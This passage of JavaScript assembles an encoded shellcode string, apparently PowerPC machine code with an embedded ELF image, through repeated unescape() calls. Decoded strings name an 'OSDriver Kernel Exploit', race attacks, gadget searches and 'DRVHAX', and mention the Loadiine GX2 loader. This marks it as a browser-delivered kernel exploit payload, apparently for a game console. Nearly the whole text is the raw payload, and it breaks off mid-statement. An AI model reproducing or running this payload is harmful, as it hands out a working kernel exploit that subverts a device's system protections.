unescape("%u4bff%uf451%u3c60%uff20%u3f60%uff20%u6063%u000c%u3f40%u4452%u4bff%uf6fd%u3f20%u4452%u5463%u2036%u3bc0%u0000%u3fa3%uff20%u3be0%u0000%u3bbd%u0014%u637b%u0013%u635a%u5641%u6339%u5648%u7f9d%ud840"); + str += unescape("%u409d%u0048%u7fa3%ueb78%u4bff%uf6c9%u7c7c%u1b78%u4bff%uf6c1%u7f83%ud000%u419e%u0014%u7f83%uc800%u40be%u0010%u7f9e%ue378%u4800%u0008%u7f9f%ue378%u2f9f%u0000%u419e%u000c%u2f9e%u0000%u409e%u0050"); + str += unescape("%u3bbd%ufff0%u4bff%uffb8%u2f9f%u0000%u419e%u000c%u2f9e%u0000%u409e%u0038%u8061%u0124%u3c80%u0180%u3884%u2306%u38a0%u0002%u4bff%uf22d%u3c60%u2fff%u6063%uffff%u4bff%ueed1%u8061%u0124%u8081%u00ec"); + str += unescape("%u4bff%uf419%u8061%u0124%u4bff%uf389%u387e%u0048%u7fe4%ufb78%u4bff%uf691%u3c60%uffea%u6063%uaa58%u3c80%u1000%u4bff%uf681%u3c60%uffea%u3c80%u2830%u6063%uaa5c%u6084%u5800%u4bff%uf66d%u8061%u0124"); + str += unescape("%u3c80%u0180%u38a0%u0002%u3884%u2339%u4bff%uf1c9%u3c60%u1fff%u6063%uffff%u4bff%uee6d%u8061%u0124%u8081%u00f0%u4bff%uf3b5%u8061%u0124%u4bff%uf325%u3961%u0160%u4800%u0b68%u7c08%u02a6%u9421%uffc0"); + str += unescape("%u3ca0%u0180%ubf61%u002c%u3fc0%u0102%u9001%u0044%u63de%ub790%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u2fd4%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004"); + str += unescape("%u3880%u0000%u38a5%u2fe1%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u2ff9%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u300d"); + str += unescape("%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3023%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u3039%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6%u4e80%u0421"); + str += unescape("%u8121%u001c%u7d29%u03a6%u4e80%u0421%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78%u3c80%uf400"); + str += unescape("%u7d29%u03a6%u3860%u0000%u4e80%u0421%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0001"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u001c%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010"); + str += unescape("%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u098c%u9421%uffe8%u7c08%u02a6"); + str += unescape("%u3920%u0000%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%ua31c%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u304b%u4e80%u0421%u3d20%u0102%u6129%ub790%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6"); + str += unescape("%u3880%u0000%u38a5%u3056%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78"); + str += unescape("%u7cbd%u2b78%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u306a"); + str += unescape("%u4bff%ufd39%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14"); + str += unescape("%u38a5%uffff%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000"); + str += unescape("%u3be0%u0000%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufca9%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010"); + str += unescape("%u396b%u0001%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78%u4800%u07e8%u7c08%u02a6%u9421%uff58%u3d20%u0102%u3c60%u0180%u6129%ua31c%ubfa1%u009c%u9001%u00ac%u7d29%u03a6%u3863%u307b%u3881%u008c"); + str += unescape("%u3fe0%u0102%u63ff%ub790%u4e80%u0421%u3ca0%u0180%u38c1%u0084%u8061%u008c%u3880%u0000%u38a5%u3088%u7fe9%u03a6%u4e80%u0421%u8121%u0084%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421"); + str += unescape("%u8121%u0084%u8061%u008c%u3ca0%u0180%u9121%u0014%u3d20%u0180%u3929%u2364%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u308f%u38c1%u0088%u7fe9%u03a6%u4e80%u0421%u8121%u0088%u3ca0%u0180%u8061%u008c"); + str += unescape("%u8129%u0000%u3880%u0001%u38a5%u30a9%u38c1%u0088%u9121%u001c%u7fe9%u03a6%u4e80%u0421%u8121%u0088%u3ca0%u0180%u8061%u008c%u8129%u0000%u3880%u0000%u38a5%u30be%u38c1%u0010%u9121%u0020%u7fe9%u03a6"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u30c5%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u30db%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180"); + str += unescape("%u8061%u008c%u3880%u0000%u38a5%u30e8%u38c1%u0028%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u30fa%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u3d20%u1000%u7f83%u4800%u419e%u0010%u3861%u0008%u4bff%uf161%u4800%u062c%u3ca0%u0180%u7fe9%u03a6%u8061%u008c%u3880%u0000%u38a5%u3100%u38c1%u0080%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6"); + str += unescape("%u8061%u008c%u3880%u0000%u38a5%u3108%u38c1%u007c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u008c%u3880%u0000%u38a5%u3111%u38c1%u0078%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u008c%u3880%u0000"); + str += unescape("%u38a5%u3123%u38c1%u0074%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u3135%u38c1%u0070%u7fe9%u03a6%u8061%u008c%u4e80%u0421%u8121%u0080%u7d29%u03a6%u4e80%u0421%u8121%u0074%u7c7e%u1b78%u3880%u0040"); + str += unescape("%u3860%u0100%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180%u3861%u0008%u3884%u3144%u4bff%ufa19%u8121%u0014%u7fe3%ufb78%u3880%u0000%u38a0%u0100%u7d29%u03a6%u4e80%u0421%u8121%u0078"); + str += unescape("%u38e0%u0000%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u007c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0070%u7fe3%ufb78%u3fe0%u0102%u7d29%u03a6%u63ff%ub790"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u3172%u38c1%u006c%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u008c%u3880%u0000%u38a5%u3181%u38c1%u0068%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180"); + str += unescape("%u38a5%u3190%u38c1%u0064%u8061%u008c%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6%u4e80%u0421%u8121%u001c%u7c7d%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u7c7e%u1b79%u4182%u000c%u2f9d%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u31a5%u4bff%uf919%u8161%u006c%u3c80%u0180%u7fc3%uf378%u3884%u15f4%u38a0%u0001%u38c1%u0008%u38fd%u4000"); + str += unescape("%u3900%u4000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u31e1%u4bff%uf8d1%u8121%u0068%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0064"); + str += unescape("%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u8081%u0008%u3ca0%u0180"); + str += unescape("%u3920%u0000%u3861%u0008%u38a5%u3215%u38c1%u005c%u38e1%u0060%u3900%u0001%u9121%u0060%u9121%u005c%u4bff%ufac9%u7c6a%u1b79%u8081%u0008%u41a2%u004c%u8121%u0010%u7c84%u5214%u8061%u0060%u7d29%u03a6"); + str += unescape("%u80a1%u005c%u3c63%uc000%u4e80%u0421%u8121%u0024%u8061%u0060%u7d29%u03a6%u8081%u005c%u3c63%uc000%u4e80%u0421%u8121%u0028%u8061%u0060%u8081%u005c%u7d29%u03a6%u4e80%u0421%u8081%u0008%u3ca0%u0180"); + str += unescape("%u3920%u0000%u3861%u0008%u38a5%u321b%u38c1%u0054%u38e1%u0058%u3900%u0000%u9121%u0058%u9121%u0054%u4bff%ufa49%u7c64%u1b79%u41a2%u003c%u8121%u0008%u8061%u0058%u7c89%u2214%u8121%u0010%u3c63%uc000"); + str += unescape("%u80a1%u0054%u7d29%u03a6%u4e80%u0421%u8061%u0058%u8121%u0024%u3c63%uc000%u8081%u0054%u7d29%u03a6%u4e80%u0421%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3223%u38c1%u004c%u38e1%u0050"); + str += unescape("%u3900%u0000%u9121%u0050%u9121%u004c%u4bff%uf9dd%u7c64%u1b79%u41a2%u003c%u8121%u0008%u8061%u0050%u7c89%u2214%u8121%u0010%u3c63%uc000%u80a1%u004c%u7d29%u03a6%u4e80%u0421%u8061%u0050%u8121%u0024"); + str += unescape("%u3c63%uc000%u8081%u004c%u7d29%u03a6%u4e80%u0421%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3229%u38c1%u0044%u38e1%u0048%u3900%u0000%u9121%u0048%u9121%u0044%u4bff%uf971%u2f83%u0000"); + str += unescape("%u41be%u0038%u8121%u0014%u3880%u0000%u8061%u0048%u7d29%u03a6%u80a1%u0044%u3c63%uc000%u4e80%u0421%u8061%u0048%u8121%u0024%u3c63%uc000%u8081%u0044%u7d29%u03a6%u4e80%u0421%u3c60%uffea%u3c80%u0180"); + str += unescape("%u6063%ua1b8%u3884%u004c%u4bff%uecdd%u3c60%uffe8%u3c80%ufff0%u6063%u4d40%u6084%u2274%u3fe0%uc080%u4bff%uecc5%u3c60%uffe8%u3c80%ufff0%u6063%u5140%u6084%u2274%u63ff%u1500%u4bff%uecad%u3c60%uffe8"); + str += unescape("%u3c80%ufff0%u6063%u5540%u6084%u2274%u4bff%uec99%u3c60%uffea%u3c80%ufff0%u6063%u9db0%u6084%u2274%u4bff%uec85%u3c60%uffe8%u3c80%ufff0%u6063%u4d44%u6084%u2294%u4bff%uec71%u3c60%uffe8%u3c80%ufff0"); + str += unescape("%u6063%u5144%u6084%u2294%u4bff%uec5d%u3c60%uffe8%u3c80%ufff0%u6063%u5544%u6084%u2294%u4bff%uec49%u3c60%uffea%u3c80%ufff0%u6063%u9db4%u6084%u2294%u4bff%uec35%u4bff%ue21d%u8121%u0014%u38a0%u0020"); + str += unescape("%u3880%u0000%u7d29%u03a6%u7fe3%ufb78%u4e80%u0421%u3d20%uc080%u3940%u0214%u6129%u1404%u9149%u0000%u3d20%udead%u3d40%uc080%u6129%uc0de%u614a%u1400%u3c60%uc201%u912a%u0000%u3d40%uc080%u614a%u1300"); + str += unescape("%u6063%uc55c%u912a%u0000%u3d20%uc080%u3940%u0000%u6129%u1304%u9149%u0000%u3d20%u0102%u6129%ua31c%u3880%u0004%u913f%u0000%u3d20%u0102%u6129%ub790%u913f%u0004%u3d20%uffe8%u6129%u4c70%u913f%u000c"); + str += unescape("%u3d20%uffe8%u6129%u5070%u913f%u0010%u3d20%uffe8%u6129%u5470%u913f%u0014%u3d20%uffea%u6129%u9ce0%u913f%u0018%u3d20%uffea%u6129%ua0e0%u913f%u001c%u3d20%u1005%u6129%ud180%u913f%u0008%u8121%u0008"); + str += unescape("%u8129%u0018%u5529%u01ba%u6529%u4800%u6129%u0003%u9123%u0000%u8121%u0024%u7d29%u03a6%u4e80%u0421%u8121%u0028%u3c60%u0101%u3880%u0004%u7d29%u03a6%u6063%uc55c%u4e80%u0421%u8121%u0020%u7fc3%uf378"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u3c60%uffea%u6063%uaa58%u3880%u0000%u4bff%ueb01%u3c60%uffea%u6063%uaa5c%u3c80%u1400%u4bff%ueaf1%u8121%u002c%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u3961%u00a8%u4800%u0040%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8"); + str += unescape("%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u801f%u0000%u7c09%u03a6%u4e80%u0421%u83ff%u0004%u2c1f%u0000%u4082%uffec%u8001%u0014"); + str += unescape("%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6%u3821%u0010%u4e80%u0020%u80a1%u0008%u3821%u0010%u7ca3%u2b78%u8081%u0004%u7c88%u03a6%u4e80%u0020"); + str += unescape("%u80c1%u0014%u9061%u0010%u8001%u0010%u915e%u002c%u8121%u0008%u901e%u0030%u913e%u0028%u90de%u0034%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u8001%u0034%u83e1%u002c"); + str += unescape("%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002%u4e80%u0020"); + str += unescape("%u6d65%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f"); + str += unescape("%u7365%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500"); + str += unescape("%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372"); + str += unescape("%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265"); + str += unescape("%u7375%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u636f%u7265%u696e%u6974%u0073%u7973%u6170"); + str += unescape("%u7000%u6d65%u6d63%u7079%u0044%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u5f50%u5043%u4578%u6974%u0053%u5953%u5377%u6974%u6368"); + str += unescape("%u546f%u4272%u6f77%u7365%u7200%u5359%u534c%u6175%u6e63%u6853%u6574%u7469%u6e67%u7300%u4661%u696c%u6564%u2074%u6f20%u6372%u6561%u7465%u2074%u6872%u6561%u6473%u2120%u506c%u6561%u7365%u2074%u7279"); + str += unescape("%u2061%u6761%u696e%u2e00%u5275%u6e6e%u696e%u6720%u4578%u706c%u6f69%u742e%u2e2e%u004f%u5353%u6c65%u6570%u5469%u636b%u7300%u4452%u5641%u0044%u5256%u4200%u5265%u6769%u7374%u6572%u2829%u206f%u6620"); + str += unescape("%u6472%u6976%u6572%u2041%u2061%u6e64%u2042%u2066%u6169%u6c65%u6421%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0046%u6169%u6c65%u6420%u746f%u2061%u6c6c%u6f63%u6174%u6520%u7061"); + str += unescape("%u796c%u6f61%u6421%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0044%u5256%u4841%u5800%u5261%u6365%u2061%u7474%u6163%u6b20%u6661%u696c%u6564%u2120%u5265%u6c6f%u6164%u696e%u6720"); + str += unescape("%u6b65%u726e%u656c%u2e2e%u2e00%u4661%u696c%u6564%u2074%u6f20%u6669%u6e64%u2044%u5256%u4120%u6f72%u2044%u5256%u4841%u5821%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0053%u7563"); + str += unescape("%u6365%u7373%u2120%u5265%u2d6c%u6175%u6e63%u6820%u4c6f%u6164%u6969%u6e65%u2047%u5832%u2061%u6761%u696e%u2e2e%u2e00%u0000%u7f45%u4c46%u0102%u0100%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001"); + str += unescape("%u0080%u04d0%u0000%u0034%u0000%u0bd0%u0000%u0000%u0034%u0020%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000%u0080%u0000%u0000%u0b65%u0000%u0b65%u0000%u0005%u0000%u0004%u7ca8%u02a6"); + str += unescape("%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040%u8123%u0044%u8143%u0048%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4"); + str += unescape("%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000%u4800%u0180%ua124%u002c%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020"); + str += unescape("%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c%u80be%u0010%u813e%u0014%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054"); + str += unescape("%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010%u7d29%u03a6%u4e80%u0421%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018"); + str += unescape("%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14%u7f7e%udb78%ua13f%u0030%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000"); + str += unescape("%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062%u40be%u0018%u8949%u0002%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028"); + str += unescape("%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073%u40be%u0030%u813d%u000c%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014"); + str += unescape("%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018%u3961%u0020%u4800%u0734%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec"); + str += unescape("%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421%u7c7e%u1b79%u4182%u0294%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6%u4e80%u0421%u813f%u0030%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028"); + str += unescape("%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080"); + str += unescape("%u813f%u0010%u3863%u0948%u4800%u003c%u813f%u0038%u7fc3%uf378%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010"); + str += unescape("%u3863%u0961%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u0972%u38c6%u09aa%u38e1%u03ec%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000"); + str += unescape("%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044%u7fa4%ueb78%u9061%u0398%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c7b%u1b79%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ac"); + str += unescape("%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78%u7cbb%ue214%u38c0%u0001%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff"); + str += unescape("%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000"); + str += unescape("%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008"); + str += unescape("%u3860%u0000%u3961%u0418%u4800%u0450%u7c08%u02a6%u9421%uff70%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78%u3c60%u0080%u7c9a%u2378%u83c9%u0000%u3881%u0064%u3863%u09cc%u83e9%u0004"); + str += unescape("%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000%u3ca0%u0080%u7fe9%u03a6%u9121%u0060%u3880%u0001%u38a5%u09d5%u38c1%u0060"); + str += unescape("%u8061%u0064%u3af7%u0b29%u3ad6%u0aec%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u09ef%u38c1%u0060%u9121%u0008%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080"); + str += unescape("%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a04%u38c1%u0010%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a0b%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080"); + str += unescape("%u7fe9%u03a6%u3880%u0000%u38a5%u0a12%u38c1%u0018%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a1a%u38c1%u001c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000"); + str += unescape("%u38a5%u0a27%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a39%u38c1%u0024%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a47%u38c1%u0028"); + str += unescape("%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a4d%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a54%u38c1%u0030%u8061%u0064%u4e80%u0421"); + str += unescape("%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a62%u38c1%u0034%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a6e%u38c1%u0038%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6"); + str += unescape("%u3880%u0000%u38a5%u0a7d%u38c1%u003c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a8e%u38c1%u0040%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a96"); + str += unescape("%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aa0%u38c1%u0048%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aab%u38c1%u004c%u8061%u0064"); + str += unescape("%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ab9%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0ac4%u38c1%u0054%u7fe9%u03a6%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080"); + str += 